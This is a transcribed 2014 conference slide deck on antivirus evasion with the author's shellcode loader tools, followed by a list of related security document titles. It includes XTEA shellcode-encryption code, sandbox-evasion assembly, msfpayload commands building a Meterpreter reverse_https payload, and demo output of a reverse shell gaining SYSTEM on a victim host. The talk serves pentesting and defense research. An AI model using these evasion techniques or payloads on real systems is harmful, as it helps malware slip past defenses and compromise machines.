Antivirus Evasion with ShCoLo/ExLo - Why Malware Works in face of Antivirus Software
|
|
|
- Anthony Lewis
- 7 years ago
- Views:
Transcription
1 Antivirus Evasion with ShCoLo/ExLo - Why Malware Works in face of Antivirus Software November 22, 2014 November 22, 2014 Matthias Deeg BSidesVienna 0x7DE 1
2 Who am I? Dipl.-Inf. Matthias Deeg Senior IT Security Consultant CISSP, CISA, OSCP, OSCE Interested in information technology - especially IT security - since his early days Studied computer science at the University of Ulm IT Security Consultant since 2007 November 22, 2014 Matthias Deeg BSidesVienna 0x7DE 2
3 Agenda 1. Use cases for Antivirus Evasion 2. How Antivirus Software Works 3. Our AV Evasion Research 4. Live Demo 5. Conclusion 6. Q&A November 22, 2014 Matthias Deeg BSidesVienna 0x7DE 3
4 Use Cases for AV Evasion Who needs Antivirus Evasion? 1. Bad guys doing bad things for fun and profit 2. Good guys doing bad things with permission for fun and profit, e.g. pentesters or IT security consultants Use cases: Targeted Attacks Post-Exploitation November 22, 2014 Matthias Deeg BSidesVienna 0x7DE 4
5 Use Cases for AV Evasion Some people do not believe in security vulnerabilities or insufficient security controls until proven otherwise via a working proof of concept Having valid credentials for accessing a system is sometimes not enough: Successful login but all the favorite tools for extracting or dumping useful data do not work due to AV software The next step/hop cannot be taken November 22, 2014 Matthias Deeg BSidesVienna 0x7DE 5
6 How Antivirus Software Works Two strategies: 1. Blacklisting Execution of a program is explicitly forbidden 2. Whitelisting Execution of a program is explicitly allowed The majority of antivirus software only follows the blacklisting strategy November 22, 2014 Matthias Deeg BSidesVienna 0x7DE 6
7 How Antivirus Software Works For malware detection using the blacklisting approach there are generally the following two methods: 1. Signature-based 2. Behavior-based November 22, 2014 Matthias Deeg BSidesVienna 0x7DE 7
8 How Antivirus Software Works 1. Signature-based detection Looking for known patterns (byte sequences) Unknown malware (no matching pattern) cannot be detected Polymorphism has been used for a very long time to bypass signature-based detection mechanisms November 22, 2014 Matthias Deeg BSidesVienna 0x7DE 8
9 How Antivirus Software Works 2. Behavior-based detection Classification of software according to defined criteria as benign or malicious Rule-based techniques in combination with a scoring system and specified thresholds for calculated scores Static code analysis Only program code can be analyzed that is directly accessible to the antivirus software Dynamic code analysis (sandbox) Several constraints of the sandbox environment (e.g. time, specified user actions) November 22, 2014 Matthias Deeg BSidesVienna 0x7DE 9
10 Our AV Evasion Research Started in February 2013 Work in progress Objectives: Easy to use AV evasion software tool for pentests Low AV detection rate Working with available tools Focus: Metasploit payloads like Meterpreter shellcodes and PsExec Few dependencies according to the runtime environment Self-contained Small code size Support for different target platforms November 22, 2014 Matthias Deeg BSidesVienna 0x7DE 10
11 ShCoLo Yet another shellcode loader Build environment for generating a shellcode loader executable Written in Python (shcolomaker.py) and Assembler (loader templates) Inspired by: shellcodeexec by inquisb ultimate-payload by Fun Over IP Supports different linkers (GNU linker, Microsoft linker) Supported target platforms: Windows 32 Bit Windows 64 Bit Linux 32 Bit Linux 64 Bit November 22, 2014 Matthias Deeg BSidesVienna 0x7DE 11
12 ShCoLo Build Process Shellcode (Object Code) shcolomaker.py Assembler Source Code Assembler Object Code Linker Executable November 22, 2014 Matthias Deeg BSidesVienna 0x7DE 12
13 Antivirus Evasion Techniques Exploiting weaknesses in signature- and behavior based detection methods via old, well-known techniques: AV Technique Polymorphism Encryption Sandbox detection Process injection Purpose Bypass signature-based detection Bypass signature-based detection Bypass behavior-based detection Bypass firewall rules November 22, 2014 Matthias Deeg BSidesVienna 0x7DE 13
14 Polymorphism Use shellcode encoders (msfencode from the Metasploit framework) Add random semantically meaningless code to the shellcode loader Use compression and/or encryption for the malicious code section (shellcode) November 22, 2014 Matthias Deeg BSidesVienna 0x7DE 14
15 Encryption Encryption can also be used for bypassing signaturebased detection mechanisms ShCoLo implements XTEA (Extended Tiny Encryption Algorithm) with random keys and random parameter values (rounds, delta) def XTEA_encrypt_block(data, key, num_rounds=32, delta=0x9e3779b9, endian="<"): """XTEA encrypt block of 64 bits""" mask = 0xffffffff s = 0 v0, v1 = struct.unpack("%s2l" % (endian), data) k = struct.unpack("%s4l" % (endian), key) for round in range(num_rounds): v0 = (v0 + (((v1 << 4 ^ v1 >> 5) + v1) ^ (s + k[s & 3]))) & mask s = (s + delta) & mask v1 = (v1 + (((v0 << 4 ^ v0 >> 5) + v0) ^ (s + k[s >> 11 & 3]))) & mask return struct.pack("%s2l" % (endian), v0, v1) November 22, 2014 Matthias Deeg BSidesVienna 0x7DE 15
16 Sandbox Detection Simple methods for bypassing antivirus sandbox detection mechanisms are: Exploiting time constraints Detect sandbox presence due to sandbox deficiencies (e.g. process creation, network socket communication) User actions as trigger November 22, 2014 Matthias Deeg BSidesVienna 0x7DE 16
17 Time Constraints It is not acceptable to an end user if the analysis of a program lasts a longer period of time and he or she is this prevented from carrying out her work Exploit time constraints via a simple time delay using a junk loop: ; junk loop for sandbox evasion junk_loop: call [GetCurrentProcessId] dec dword [junk_loop_counter] jnz junk_loop November 22, 2014 Matthias Deeg BSidesVienna 0x7DE 17
18 User Actions Malicious code is only decrypted and executed if a specified user action took place, e.g. some mouse clicks Using Windows hooks for checking user actions: ; check user action push 0 call [GetModuleHandleA] ; get module handle push 0 ; thread ID (dwthreadid) push eax ; module handle (hmod) push hook ; hook procedure (lpfn) push WH_MOUSE_LL ; hook ID (idhook) call [SetWindowsHookExA] November 22, 2014 Matthias Deeg BSidesVienna 0x7DE 18
![[GetModuleHandleA] ; get module handle push 0 ; thread ID (dwthreadid) push eax ; module handle (hmod) push hook](/docs-images/47/20874713/images/page_18.jpg "; hook procedure (lpfn) push WH_MOUSE_LL ; hook ID (idhook) call [SetWindowsHookExA] November 22, 2014 Matthias")
19 Test Methodology 1. Use a well-known Meterpreter shellcode (windows/meterpreter/reverse_https) as malicious code 2. Create and encode the Meterpreter shellcode with the Metasploit tools msfpayload and msfencode (msfvenom can also be used) 3. Create an executable file for the target platform (Windows 7, 32 Bit) using ShCoLo 4. Start a Metasploit handler for the reverse connection on the attacker s system 5. Copy the executable file to the target system and execute it November 22, 2014 Matthias Deeg BSidesVienna 0x7DE 19
20 Test Results of our Research Product Name Software Version Bypassed avast! Endpoint Protection AVG AntiVirus Free Avira Professional Security ESET NOD32 Antivirus Kaspersky Anti-Virus (g) McAfee VirusScan Enterprise Microsoft Security Essentials Panda Antivirus Pro Panda Cloud Antivirus Sophos Anti-Virus Symantec Endpoint Protection Trend Micro Titanium Antivirus November 22, 2014 Matthias Deeg BSidesVienna 0x7DE 20
21 Demo: Metasploit Executable Create an executable with malicious code, in this case a Meterpreter shellcode (windows/meterpreter/reverse_https), using the Metasploit tools msfpayload and msfencode $ msfpayload windows/meterpreter/reverse_https lhost= lport=8443 R msfencode -e x86/shikata_ga_nai -t exe-small -o msf.exe [*] x86/shikata_ga_nai succeeded with size 314 (iteration=1) Start a Metasploit handler for the reverse connection on the attacker s system Test the created executable on the target system November 22, 2014 Matthias Deeg BSidesVienna 0x7DE 21
22 Demo: Metasploit Executable November 22, 2014 Matthias Deeg BSidesVienna 0x7DE 22
23 Demo: ShCoLo Executable Create malicious code, in this case a Meterpreter shellcode (windows/meterpreter/reverse_https) $ msfpayload windows/meterpreter/reverse_https lhost= lport=8443 R msfencode -e x86/shikata_ga_nai -t raw -o meterpreter_reverse_https.bin [*] x86/shikata_ga_nai succeeded with size 377 (iteration=1) Create an executable file containing the malicious code using shcolomaker.py Target platform: Windows 32 Bit (-f win32) Use encryption (-e) November 22, 2014 Matthias Deeg BSidesVienna 0x7DE 23
24 Demo: ShCoLo Executable $ python shcolomaker.py -f win32 -e meterpreter_reverse_https.bin _/_/_/ _/ _/_/_/ _/ _/ _/_/_/ _/ _/_/ _/ _/_/ _/_/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/_/_/ _/ _/ _/_/_/ _/_/ _/_/_/_/ _/_/ Shellcode Loader Maker v0.8 by Matthias Deeg <matthias.deeg@syss.de> - SySS GmbH (c) 2013, 2014 [*] Process shellcode (377 bytes) [*] Encrypt shellcode [*] Generate source code [*] Generate Makefile [*] Build executable... make: Entering directory '/home/matt/playground/antivirus-evasion/shcolo/build' nasm -fwin32 shcolo.asm wine./tools/link.exe /SUBSYSTEM:WINDOWS /MACHINE:X86 /ENTRY:start /OUT:shcolo.exe shcolo.obj./lib/kernel32.lib fixme:heap:heapsetinformation (nil) 1 (nil) 0 Microsoft (R) Incremental Linker Version Copyright (C) Microsoft Corporation. All rights reserved. fixme:msvcrt: clean_type_info_names_internal (0x ) stub make: Leaving directory '/home/matt/playground/antivirus-evasion/shcolo/build' [*] Successfully built the shellcode loader './build/shcolo.exe' November 22, 2014 Matthias Deeg BSidesVienna 0x7DE 24
25 Demo: ShCoLo Executable msf exploit(handler) > run [*] Started HTTPS reverse handler on [*] Starting the payload handler... [*] :49177 Request received for /TLYc... [*] :49177 Staging connection for target /TLYc received... [*] Patched user-agent at offset [*] Patched transport at offset [*] Patched URL at offset [*] Patched Expiration Timeout at offset [*] Patched Communication Timeout at offset [*] Meterpreter session 1 opened ( :8443 -> :49177) at :25: meterpreter > sysinfo Computer : WIN8-VICTIM OS : Windows 8 (Build 9200). Architecture : x64 (Current Process is WOW64) System Language : de_de Meterpreter : x86/win32 meterpreter > November 22, 2014 Matthias Deeg BSidesVienna 0x7DE 25
26 Demo: ShCoLo with PsExec Use Metasploit module exploit/windows/smb/psexec with a custom executable created with ShCoLo (EXE:Custom) PsExec module expects a Windows service executable ShCoLo also supports 32 Bit Windows service executables (-f win32-svc) November 22, 2014 Matthias Deeg BSidesVienna 0x7DE 26
27 Demo: ShCoLo with PsExec $python shcolomaker.py -f win32-svc -e meterpreter_reverse_https.bin _/_/_/ _/ _/_/_/ _/ _/ _/_/_/ _/ _/_/ _/ _/_/ _/_/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/_/_/ _/ _/ _/_/_/ _/_/ _/_/_/_/ _/_/ Shellcode Loader Maker v0.8 by Matthias Deeg - SySS GmbH (c) 2013, 2014 [*] Process shellcode (377 bytes) [*] Encrypt shellcode [*] Generate source code [*] Generate Makefile [*] Build executable... make: Entering directory '/home/matt/playground/antivirus-evasion/shcolo/build' nasm -fwin32 shcolo.asm wine./tools/link.exe /SUBSYSTEM:WINDOWS /MACHINE:X86 /ENTRY:start /OUT:shcolo_svc.exe shcolo.obj./lib/kernel32.lib./lib/advapi32.lib fixme:heap:heapsetinformation (nil) 1 (nil) 0 Microsoft (R) Incremental Linker Version Copyright (C) Microsoft Corporation. All rights reserved. fixme:msvcrt: clean_type_info_names_internal (0x ) stub make: Leaving directory '/home/matt/playground/antivirus-evasion/shcolo/build' [*] Successfully built the shellcode loader './build/shcolo_svc.exe' November 22, 2014 Matthias Deeg BSidesVienna 0x7DE 27
28 Demo: ShCoLo with PsExec msf exploit(psexec) > run [*] Started HTTPS reverse handler on [*] Connecting to the server... [*] Authenticating to :445 WORKGROUP as user 'syss'... [*] Uploading payload... [*] Using custom payload /tmp/shcolo_svc.exe, RHOST and RPORT settings will be ignored! [*] Created \xodyhwxf.exe... [*] Deleting \xodyhwxf.exe... [*] :49650 Request received for /MPwH... [*] :49650 Staging connection for target /MPwH received... [*] Patched user-agent at offset [*] Patched transport at offset [*] Patched URL at offset [*] Patched Expiration Timeout at offset [*] Patched Communication Timeout at offset [*] Meterpreter session 1 opened ( :8443 -> :49650) at :09: msf exploit(psexec) > November 22, 2014 Matthias Deeg BSidesVienna 0x7DE 28
29 Demo: ShCoLo with PsExec msf exploit(psexec) > sessions -i 1 [*] Starting interaction with 1... meterpreter > sysinfo Computer : WIN8-VICTIM OS : Windows 8 (Build 9200). Architecture : x64 (Current Process is WOW64) System Language : de_de Meterpreter : x86/win32 meterpreter > shell Process 2604 created. Channel 1 created. Microsoft Windows [Version ] (c) 2013 Microsoft Corporation. Alle Rechte vorbehalten. C:\Windows\system32>whoami whoami nt-autorit t\system C:\ November 22, 2014 Matthias Deeg BSidesVienna 0x7DE 29
30 ExLo Yet another executable loader Build environment for generating an executable loader Written in Python (exlomaker.py) and Assembler (loader templates) Uses the same techniques as ShCoLo AV Evasion for available executables Work in progress Supported target platforms: Windows 32 Bit November 22, 2014 Matthias Deeg BSidesVienna 0x7DE 30
31 Conclusion Malware detection mechanisms of current antivirus software can be bypassed Working antivirus evasion techniques are not new, they have been used by malware for many years and exploit known weaknesses in signature- and behaviorbased detection mechanisms The majority of the used antivirus techniques is rather simple and can be leveraged by less skilled attackers There are also numerous AV evasion tools or frameworks freely available on the Internet making AV evasion even simpler without any expert knowledge November 22, 2014 Matthias Deeg BSidesVienna 0x7DE 31
32 Recommendations Antivirus software should not be the only countermeasure against malware threats A defense-in-depth strategy should be followed Risks are generally not only avoided or mitigated with a single security control November 22, 2014 Matthias Deeg BSidesVienna 0x7DE 32
33 Recommendations (cont.) The following security measures have been proven effective as part of a defense-in-depth strategy: Security awareness training of employees Implementation of a working patch management Use of current antivirus software with regular updates Implementation of the principle of least privilege Antivirus detection at different locations within the IT network Conduct of frequent IT security assessments Incident readiness Baselining of the IT infrastructure Change from blacklisting to whitelisting November 22, 2014 Matthias Deeg BSidesVienna 0x7DE 33
34 References Outsmarted Why Malware Works in face of Antivirus Software, Matthias Deeg, Sebastian Nerz and Daniel Sauder 014/Antivirus_Evasion_engl.pdf Antivirus Evasion: Von der Idee zum PoC, Daniel Sauder, shellcodeexec, ultimate-payload, Veil-Evasion, November 22, 2014 Matthias Deeg BSidesVienna 0x7DE 34
35 Thank you very much... for your attention. Do you have any questions? November 22, 2014 Matthias Deeg BSidesVienna 0x7DE 35
In the recent past, there were several computer-based
Matthias Deeg, Sebastian Nerz, Daniel Sauder Outsmarted Why Malware Works in face of Antivirus Software For many years, different types of malware rank among the biggest IT security threats both in the
Who am I? Dipl.-Inf. Matthias Deeg Expert IT Security Consultant CISSP, CISA, OSCP, OSCE Interested in information technology especially IT security s
Deactivating Endpoint Protection Software in an Unauthorized Manner November 19, 2015 November 19, 2015 Matthias Deeg DeepSec 2015 1 Who am I? Dipl.-Inf. Matthias Deeg Expert IT Security Consultant CISSP,
Can Consumer AV Products Protect Against Critical Microsoft Vulnerabilities?
ANALYST BRIEF Can Consumer AV Products Protect Against Critical Microsoft Vulnerabilities? Author Randy Abrams Tested Products Avast Internet Security 7 AVG Internet Security 2012 Avira Internet Security
Privilege Escalation via Client Management Software November 21, 2015 November 21, 2015 Matthias Deeg BSidesVienna 0x7DF 1 Who am I? Dipl.-Inf. Matthias Deeg Expert IT Security Consultant CISSP, CISA,
Mass Pwnage 4 Dummies. Latest pen-testing tricks using Metasploit
Mass Pwnage 4 Dummies Latest pen-testing tricks using Metasploit What this talk will cover Quick Background Latest Metasploit 3.5 features Automated Attacking even a cave man could do it. Compromising
How to hack a website with Metasploit
How to hack a website with Metasploit By Sumedt Jitpukdebodin Normally, Penetration Tester or a Hacker use Metasploit to exploit vulnerability services in the target server or to create a payload to make
CORPORATE AV / EPP COMPARATIVE ANALYSIS
CORPORATE AV / EPP COMPARATIVE ANALYSIS Exploit Evasion Defenses 2013 Randy Abrams, Dipti Ghimire, Joshua Smith Tested Vendors AVG, ESET, F- Secure, Kaspersky, McAfee, Microsoft, Norman, Panda, Sophos,
McAfee Web Gateway Administration Intel Security Education Services Administration Course Training
McAfee Web Gateway Administration Intel Security Education Services Administration Course Training The McAfee Web Gateway Administration course from Education Services provides an in-depth introduction
This report is a detailed analysis of the dropper and the payload of the HIMAN malware.
PAGE 5 Check Point Malware Research Group HIMAN Malware Analysis December 12, 2013 Researcher: Overview This report is a detailed analysis of the dropper and the payload of the HIMAN malware. This malware
(maybe?)apt1: technical backstage
(maybe?)apt1 : technical backstage (maybe?)apt1: technical backstage @r00tbsd Paul Rascagnères Malware.lu December 2013 Crusaders are everywhere... A poke to Hendrik Adrian... #MalwareMustDie Plan - Malware.lu
Google Apps Engine. G-Jacking AppEngine-based applications. Presented 20/11/2014. For NoSuchCon 2014 By Nicolas Collignon
Google Apps Engine G-Jacking AppEngine-based applications Presented 20/11/2014 For NoSuchCon 2014 By Nicolas Collignon Introduction to GAE G-Jacking The code The infrastructure The sandbox Conclusion Introduction
APT Advanced Persistent Threat Time to rethink?
APT Advanced Persistent Threat Time to rethink? 23 November 2012 Gergely Tóth Senior Manager, Security & Privacy Agenda APT examples How to get inside? Remote control Once we are inside Conclusion 2 APT
1. LAB SNIFFING LAB ID: 10
H E R A LAB ID: 10 SNIFFING Sniffing in a switched network ARP Poisoning Analyzing a network traffic Extracting files from a network trace Stealing credentials Mapping/exploring network resources 1. LAB
ArcGIS Server Security Threats & Best Practices 2014. David Cordes Michael Young
ArcGIS Server Security Threats & Best Practices 2014 David Cordes Michael Young Agenda Introduction Threats Best practice - ArcGIS Server settings - Infrastructure settings - Processes Summary Introduction
Fully supported Antivirus software (Managed Antivirus)
You are here: Antivirus > Managed Antivirus Vendors Fully supported Antivirus software (Managed Antivirus) Antivirus (AV) vendors often release software updates. We hard-code the update into our RMM agent
Maintaining Access CHAPTER 10 CHAPTER OVERVIEW AND KEY LEARNING POINTS INTRODUCTION INFORMATION IN THIS CHAPTER
CHAPTER 10 Maintaining Access INFORMATION IN THIS CHAPTER Maintaining Access: Terminology and Core Concepts Backdoors Keyloggers CHAPTER OVERVIEW AND KEY LEARNING POINTS This chapter will explain the actions
What s Wrong with Information Security Today? You are looking in the wrong places for the wrong things.
What s Wrong with Information Security Today? You are looking in the wrong places for the wrong things. AGENDA Current State of Information Security Data Breach Statics Data Breach Case Studies Why current
Online Payments Threats
July 3, 2012 Introduction...2 Tested Products...2 Used Configuration...3 Real Malware Inspiration...3 Total Scores Chart...4 Conclusion...4 About matousec.com...4 Detailed Descriptions of Tests...5 Detailed
Penetration Testing with Kali Linux
Penetration Testing with Kali Linux PWK Copyright 2014 Offensive Security Ltd. All rights reserved. Page 1 of 11 All rights reserved to Offensive Security, 2014 No part of this publication, in whole or
NEXPOSE ENTERPRISE METASPLOIT PRO. Effective Vulnerability Management and validation. March 2015
NEXPOSE ENTERPRISE METASPLOIT PRO Effective Vulnerability Management and validation March 2015 KEY SECURITY CHALLENGES Common Challenges Organizations Experience Key Security Challenges Visibility gaps
CIT 480: Securing Computer Systems. Vulnerability Scanning and Exploitation Frameworks
CIT 480: Securing Computer Systems Vulnerability Scanning and Exploitation Frameworks Vulnerability Scanners Vulnerability scanners are automated tools that scan hosts and networks for potential vulnerabilities,
Supported Anti Virus from ESAP 2-6-1
Supported Anti Virus from ESAP 2-6-1 avast! Antivirus (4.8.x) avast! Antivirus (4.x) avast! Antivirus (managed) (4.x) avast! Antivirus Professional (4.8.x) avast! Antivirus Professional (4.x) avast! Business
Metasploit The Elixir of Network Security
Metasploit The Elixir of Network Security Harish Chowdhary Software Quality Engineer, Aricent Technologies Shubham Mittal Penetration Testing Engineer, Iviz Security And Your Situation Would Be Main Goal
Firewall Testing Methodology W H I T E P A P E R
Firewall ing W H I T E P A P E R Introduction With the deployment of application-aware firewalls, UTMs, and DPI engines, the network is becoming more intelligent at the application level With this awareness
Metasploit Lab: Attacking Windows XP and Linux Targets
Cyber Forensics Laboratory 1 Metasploit Lab: Attacking Windows XP and Linux Targets Copyright c 2012 Michael McGinty and Xinwen Fu, University of Massachusetts Lowell Permission is granted to copy, distribute
RIA SECURITY TECHNOLOGY
RIA SECURITY TECHNOLOGY Ulysses Wang Security Researcher, Websense Hermes Li Security Researcher, Websense 2009 Websense, Inc. All rights reserved. Agenda RIA Introduction Flash Security Attack Vectors
VISA SECURITY ALERT December 2015 KUHOOK POINT OF SALE MALWARE. Summary. Distribution and Installation
VISA SECURITY ALERT December 2015 KUHOOK POINT OF SALE MALWARE Distribution: Merchants, Acquirers Who should read this: Information security, incident response, cyber intelligence staff Summary Kuhook
ESAP 2.7.9. Release Notes. Version Published
ESAP 2.7.9 Release Notes Version Published Mac and Windows 3.6.10004.2 (V2 Unified + V3) July 2015 Note: The SDK embedded in this ESAP version has been tested and qualified to interoperate with an extensive
BSIDES Las Vegas Secret Pentesting Techniques Shhh...
BSIDES Las Vegas Secret Pentesting Techniques Shhh... Dave Kennedy Founder, Principal Security Consultant Email: davek@trustedsec.com https://www.trustedsec.com @TrustedSec Introduc)on As penetration testers,
Penetration Testing - a way for improving our cyber security
OWASP EU Tour Bucharest 2013 The OWASP Foundation http://www.owasp.org Penetration Testing - a way for improving our cyber security Adrian Furtunǎ, PhD, OSCP, CEH adif2k8@gmail.com Copyright The OWASP
Google Apps Engine. G-Jacking AppEngine-based applications. Presented 30/05/2014. For HITB 2014 By Nicolas Collignon and Samir Megueddem
Google Apps Engine G-Jacking AppEngine-based applications Presented 30/05/2014 For HITB 2014 By Nicolas Collignon and Samir Megueddem Introduction to GAE G-Jacking The code The infrastructure The sandbox
Cloud App Security. Tiberio Molino Sales Engineer
Cloud App Security Tiberio Molino Sales Engineer 2 Customer Challenges 3 Many Attacks Include Phishing Emails External Phishing attacks: May target specific individuals or companies Customer malware or
Privilege Escalation via Antivirus Software
Privilege Escalation via Antivirus Software A security vulnerability in the software component McAfee Security Agent, which is part of the antivirus software McAfee VirusScan Enterprise, can be leveraged
Nessus and Antivirus. January 31, 2014 (Revision 4)
Nessus and Antivirus January 31, 2014 (Revision 4) Table of Contents Introduction... 3 Standards and Conventions... 3 Overview... 3 A Note on SCAP Audits... 4 Microsoft Windows Defender... 4 Kaspersky
5 Steps to Advanced Threat Protection
5 Steps to Advanced Threat Protection Agenda Endpoint Protection Gap Profile of Advanced Threats Consensus Audit Guidelines 5 Steps to Advanced Threat Protection Resources 20 Years of Chasing Malicious
Exploiting Transparent User Identification Systems
Exploiting Transparent User Identification Systems Wayne Murphy Benjamin Burns Version 1.0a 1 CONTENTS 1.0 Introduction... 3 1.1 Project Objectives... 3 2.0 Brief Summary of Findings... 4 3.0 Background
PuttyRider. With great power comes great responsibility. # Pivoting from Windows to Linux in a penetration test. Adrian Furtunã, PhD adif2k8@gmail.
PuttyRider # Pivoting from Windows to Linux in a penetration test With great power comes great responsibility Adrian Furtunã, PhD adif2k8@gmail.com root@bt:~# Agenda # Idea origin and usage scenario #
Check Point: Sandblast Zero-Day protection
Check Point: Sandblast Zero-Day protection Federico Orlandi Itway Support Engineer 2015 Check Point Software Technologies Ltd. 1 Check Point Threat Prevention SandBlast IPS Antivirus SandBlast stops zero-day
Full System Emulation:
Full System Emulation: Achieving Successful Automated Dynamic Analysis of Evasive Malware Christopher Kruegel Lastline, Inc. chris@lastline.com 1 Introduction Automated malware analysis systems (or sandboxes)
Comprehensive Malware Detection with SecurityCenter Continuous View and Nessus. February 3, 2015 (Revision 4)
Comprehensive Malware Detection with SecurityCenter Continuous View and Nessus February 3, 2015 (Revision 4) Table of Contents Overview... 3 Malware, Botnet Detection, and Anti-Virus Auditing... 3 Malware
Next Generation Firewalls and Sandboxing
Next Generation Firewalls and Sandboxing Joe Hughes, Director www.servicetech.co.uk Summary What is a Next Generation Firewall (NGFW)? Threat evolution Features Deployment Best practices What is Sandboxing?
Metasploit Beginners
Metasploit Beginners #.. # # _/ \ _ \ _/ # # / \ \\ \ / // \/ /_\ \ / / \ # # / /_/ / \ \/ \ /\ \ \ # # \/ \/ \/ # # # # _/ \ \_/ \ \/ \/ / # # \ \ \/\ /\ / # # \
MRG Effitas Real World Enterprise Security Exploit Prevention March 2015. Real World Enterprise Security Exploit Prevention Test.
Real World Enterprise Security Exploit Prevention Test March 2015 1 1 Executive summary...3 2 Certifications...6 3 Test methodology...7 3.1 Source of exploits...9 3.2 False positive test... 10 3.3 0-day
MRG Effitas Real World Enterprise Security Exploit Prevention March 2015. Real World Enterprise Security Exploit Prevention Test.
Real World Enterprise Security Exploit Prevention Test March 2015 1 1 Executive summary... 3 2 Certifications... 6 3 Test methodology... 7 3.1 Source of exploits... 9 3.2 False positive test... 10 3.3
Locking down a Hitachi ID Suite server
Locking down a Hitachi ID Suite server 2016 Hitachi ID Systems, Inc. All rights reserved. Organizations deploying Hitachi ID Identity and Access Management Suite need to understand how to secure its runtime
Detecting the One Percent: Advanced Targeted Malware Detection
Detecting the One Percent: Advanced Targeted Malware Detection Tomer Teller Check Point Software Technologies Session ID: SP02-T19 Session Classification: Intermediate Antivirus 20 th+ Anniversary The
26 Protection Programs Undergo Our First Test Using Windows 8
Test: Internet Security Packages 1/2013 26 Protection Programs Undergo Our First Test Using Windows 8 Windows 8 is considered to be a secure system thanks to its internal protection package containing
david d. rude Affiliated Computer Services Penetration Tester www.acs-inc.com <bannedit0 [ at ] gmail.com> Develop Codes for stuff www.metasploit.
![david d. rude Affiliated Computer Services Penetration Tester www.acs-inc.com <bannedit0 [ at ] gmail.com> Develop Codes for stuff www.metasploit.](/thumbs/40/20850306.jpg "david d. rude Affiliated Computer Services Penetration Tester www.acs-inc.com <bannedit0 [ at ] gmail.com> Develop Codes for stuff www.metasploit.")
david d. rude Affiliated Computer Services Penetration Tester www.acs-inc.com Metasploit Develop Codes for stuff www.metasploit.com 2 Definition Command injection is an attack
How To Use Powerhell For Security Research
PowerShell David Kennedy (ReL1K) Josh Kelley (Winfang) http://www.secmaniac.com Twitter: dave_rel1k winfang98 About Josh Security Analyst with a Fortune 1000 --- Works with Dave Heavy experience in penetration
AUTHOR CONTACT DETAILS
AUTHOR CONTACT DETAILS Name Dinesh Shetty Organization Paladion Networks Email ID dinesh.shetty@paladion.net Penetration Testing with Metasploit Framework When i say "Penetration Testing tool" the first
OUR MISSION IS TO PROTECT EVERYONE FROM CYBERCRIME
OUR MISSION IS TO PROTECT EVERYONE FROM CYBERCRIME We believe that everyone from home computer users and small companies, to large corporations and governments has the right to be free from cybersecurity
Vulnerability Assessment and Penetration Testing
Vulnerability Assessment and Penetration Testing Module 1: Vulnerability Assessment & Penetration Testing: Introduction 1.1 Brief Introduction of Linux 1.2 About Vulnerability Assessment and Penetration
ASL IT SECURITY XTREME XPLOIT DEVELOPMENT
ASL IT SECURITY XTREME XPLOIT DEVELOPMENT V 2.0 A S L I T S e c u r i t y P v t L t d. Page 1 Overview: The most dangerous threat is the one which do not have a CVE. Until now developing reliable exploits
How To Stop A Malware From Running On A Computer
A CUCKOO S EGG IN THE MALWARE NEST ON-THE-FLY SIGNATURE-LESS MALWARE ANALYSIS, DETECTION AND CONTAINMENT FOR LARGE NETWORKS CHRISTIAAN SCHADE TWENTE SECURITY LAB UNIVERSITY OF TWENTE THE NETHERLANDS MALWARE
Secure Web Application Coding Team Introductory Meeting December 1, 2005 1:00 2:00PM Bits & Pieces Room, Sansom West Room 306 Agenda
Secure Web Application Coding Team Introductory Meeting December 1, 2005 1:00 2:00PM Bits & Pieces Room, Sansom West Room 306 Agenda 1. Introductions for new members (5 minutes) 2. Name of group 3. Current
IS L06 Protect Servers and Defend Against APTs with Symantec Critical System Protection
IS L06 Protect Servers and Defend Against APTs with Symantec Critical System Protection Description Lab flow At the end of this lab, you should be able to Discover how to harness the power and capabilities
McAfee Endpoint Protection Products
McAfee Total Protection Security Overview for MEEC Sumeet Gohri, CISSP Sr. Sales Engineer GovED + Healthcare McAfee, Inc. Agenda Protection Challenges McAfee Protection Products McAfee epo walkthrough
Hope is not a strategy. Jérôme Bei
Hope is not a strategy Jérôme Bei Press Highlights Conficker hits German Government! 3000 Clients down! Datatheft at German Telekom: 17.000.000 Customer Records lost! About 1.000.000 pieces of Malware
PowerShell. It s time to own. David Kennedy (ReL1K) Josh Kelley (Winfang) http://www.secmaniac.com Twitter: dave_rel1k
PowerShell It s time to own. David Kennedy (ReL1K) Josh Kelley (Winfang) http://www.secmaniac.com Twitter: dave_rel1k About Josh Security Analyst with a Fortune 1000 --- Works with Dave Heavy experience
Penetration Testing Report Client: Business Solutions June 15 th 2015
Penetration Testing Report Client: Business Solutions June 15 th 2015 Acumen Innovations 80 S.W 8 th St Suite 2000 Miami, FL 33130 United States of America Tel: 1-888-995-7803 Email: info@acumen-innovations.com
Shellshock. Oz Elisyan & Maxim Zavodchik
Shellshock By Oz Elisyan & Maxim Zavodchik INTRODUCTION Once a high profile vulnerability is released to the public, there will be a lot of people who will use the opportunity to take advantage on vulnerable
Cracking the Perimeter via Web Application Hacking. Zach Grace, CISSP, CEH zgrace@403labs.com January 17, 2014 2014 Mega Conference
Cracking the Perimeter via Web Application Hacking Zach Grace, CISSP, CEH zgrace@403labs.com January 17, 2014 2014 Mega Conference About 403 Labs 403 Labs is a full-service information security and compliance
Trends in Zero-Day Kernel Exploits and Protection 2015
Trends in Zero-Day Kernel Exploits and Protection 2015 Overview of Key Protection Technologies and Their Limitations in Dealing With Zero-Day Kernel Attacks Executive Summary Legacy security solutions
How Security Testing can ensure Your Mobile Application Security. Yohannes, CEHv8, ECSAv8, ISE, OSCP(PWK) Information Security Consultant
How Security Testing can ensure Your Mobile Application Security Yohannes, CEHv8, ECSAv8, ISE, OSCP(PWK) Information Security Consultant Once More Consulting & Advisory Services IT Governance IT Strategic
Learn Ethical Hacking, Become a Pentester
Learn Ethical Hacking, Become a Pentester Course Syllabus & Certification Program DOCUMENT CLASSIFICATION: PUBLIC Copyrighted Material No part of this publication, in whole or in part, may be reproduced,
Symantec Advanced Threat Protection: Network
Symantec Advanced Threat Protection: Network DR150218C April 2015 Miercom www.miercom.com Contents 1.0 Executive Summary... 3 2.0 Overview... 4 2.1 Products Tested... 4 2.2. Malware Samples... 5 3.0 How
What is Next Generation Endpoint Protection?
What is Next Generation Endpoint Protection?? By now you have probably heard the term Next Generation Endpoint Protection. A slew of companies, startups and incumbents alike, which are using the term to
Turning your managed Anti-Virus
